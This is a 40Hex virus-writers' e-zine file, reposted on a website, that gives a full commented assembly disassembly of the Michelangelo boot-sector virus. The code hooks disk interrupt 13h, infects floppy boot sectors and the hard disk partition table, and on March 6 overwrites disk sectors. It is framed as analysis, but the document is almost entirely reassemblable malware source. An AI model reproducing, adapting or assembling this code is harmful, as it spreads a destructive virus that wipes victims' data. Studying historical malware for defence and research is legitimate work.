Copy Link
Add to Bookmark
Report

40Hex Issue 08 File 006

eZine's profile picture
Published in 
40Hex
 · 5 months ago

40Hex Number 8 Volume 2 Issue 4                                       File 006 

;This is a disassembly of the much-hyped michelangelo virus.
;As you can see, it is a derivative of the Stoned virus. The
;junk bytes at the end of the file are probably throwbacks to
;the Stoned virus. In any case, it is yet another boot sector
;and partition table infector.

michelangelo segment byte public
assume cs:michelangelo, ds:michelangelo
;Disassembly by Dark Angel of PHALCON/SKISM
org 0

jmp entervirus
highmemjmp db 0F5h, 00h, 80h, 9Fh
maxhead db 2 ;used by damagestuff
firstsector dw 3
oldint13h dd 0C8000256h

int13h:
push ds
push ax
or dl, dl ;default drive?
jnz exitint13h ;exit if not
xor ax, ax
mov ds, ax
test byte ptr ds:[43fh], 1 ;disk 0 on?
jnz exitint13h ;if not spinning, exit
pop ax
pop ds
pushf
call dword ptr cs:[oldint13h];first call old int 13h
pushf
call infectdisk ;then infect
popf
retf 2
exitint13h: pop ax
pop ds
jmp dword ptr cs:[oldint13h]

infectdisk:
push ax
push bx
push cx
push dx
push ds
push es
push si
push di
push cs
pop ds
push cs
pop es
mov si, 4
readbootblock:
mov ax,201h ;Read boot block to
mov bx,200h ;after virus
mov cx,1
xor dx,dx
pushf
call oldint13h
jnc checkinfect ;continue if no error
xor ax,ax
pushf
call oldint13h ;Reset disk
dec si ;loop back
jnz readbootblock
jmp short quitinfect ;exit if too many failures
checkinfect:
xor si,si
cld
lodsw
cmp ax,[bx] ;check if already infected
jne infectitnow
lodsw
cmp ax,[bx+2] ;check again
je quitinfect
infectitnow:
mov ax,301h ;Write old boot block
mov dh,1 ;to head 1
mov cl,3 ;sector 3
cmp byte ptr [bx+15h],0FDh ;360k disk?
je is360Kdisk
mov cl,0Eh
is360Kdisk:
mov firstsector,cx
pushf
call oldint13h
jc quitinfect ;exit on error
mov si,200h+offset partitioninfo
mov di,offset partitioninfo
mov cx,21h ;Copy partition table
cld
rep movsw
mov ax,301h ;Write virus to sector 1
xor bx,bx
mov cx,1
xor dx,dx
pushf
call oldint13h
quitinfect:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn
entervirus:
xor ax,ax
mov ds,ax
mov ss,ax
mov ax,7C00h ;Set stack to just below
mov sp,ax ;virus load point
sti
push ds ;save 0:7C00h on stack for
push ax ;later retf
mov ax,ds:[13h*4]
mov word ptr ds:[7C00h+offset oldint13h],ax
mov ax,ds:[13h*4+2]
mov word ptr ds:[7C00h+offset oldint13h+2],ax
mov ax,ds:[413h] ;memory size in K
dec ax ;1024 K
dec ax
mov ds:[413h],ax ;move new value in
mov cl,6
shl ax,cl ;ax = paragraphs of memory
mov es,ax ;next line sets seg of jmp
mov word ptr ds:[7C00h+2+offset highmemjmp],ax
mov ax,offset int13h
mov ds:[13h*4],ax
mov ds:[13h*4+2],es
mov cx,offset partitioninfo
mov si,7C00h
xor di,di
cld
rep movsb ;copy to high memory
;and transfer control there
jmp dword ptr cs:[7C00h+offset highmemjmp]
;destination of highmem jmp
xor ax,ax
mov es,ax
int 13h ;reset disk
push cs
pop ds
mov ax,201h
mov bx,7C00h
mov cx,firstsector
cmp cx,7 ;hard disk infection?
jne floppyboot ;if not, do floppies
mov dx,80h ;Read old partition table of
int 13h ;first hard disk to 0:7C00h
jmp short exitvirus
floppyboot:
mov cx,firstsector ;read old boot block
mov dx,100h ;to 0:7C00h
int 13h
jc exitvirus
push cs
pop es
mov ax,201h ;read boot block
mov bx,200h ;of first hard disk
mov cx,1
mov dx,80h
int 13h
jc exitvirus
xor si,si
cld
lodsw
cmp ax,[bx] ;is it infected?
jne infectharddisk ;if not, infect HD
lodsw ;check infection
cmp ax,[bx+2]
jne infectharddisk
exitvirus:
xor cx,cx ;Real time clock get date
mov ah,4 ;dx = mon/day
int 1Ah
cmp dx,306h ;March 6th
je damagestuff
retf ;return control to original
;boot block @ 0:7C00h
damagestuff:
xor dx,dx
mov cx,1
smashanothersector:
mov ax,309h
mov si,firstsector
cmp si,3
je smashit
mov al,0Eh
cmp si,0Eh
je smashit
mov dl,80h ;first hard disk
mov maxhead,4
mov al,11h
smashit:
mov bx,5000h ;random memory area
mov es,bx ;at 5000h:5000h
int 13h ;Write al sectors to drive dl
jnc skiponerror ;skip on error
xor ah,ah ;Reset disk drive dl
int 13h
skiponerror:
inc dh ;next head
cmp dh,maxhead ;2 if floppy, 4 if HD
jb smashanothersector
xor dh,dh ;go to next head/cylinder
inc ch
jmp short smashanothersector
infectharddisk:
mov cx,7 ;Write partition table to
mov firstsector,cx ;sector 7
mov ax,301h
mov dx,80h
int 13h
jc exitvirus
mov si,200h+offset partitioninfo ;Copy partition
mov di,offset partitioninfo ;table information
mov cx,21h
rep movsw
mov ax,301h ;Write to sector 8
xor bx,bx ;Copy virus to sector 1
inc cl
int 13h
;* jmp short 01E0h
db 0EBh, 32h ;?This should crash?
;The following bytes are meaningless.
garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
partitioninfo: db 42h dup (0)
michelangelo ends
end


← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT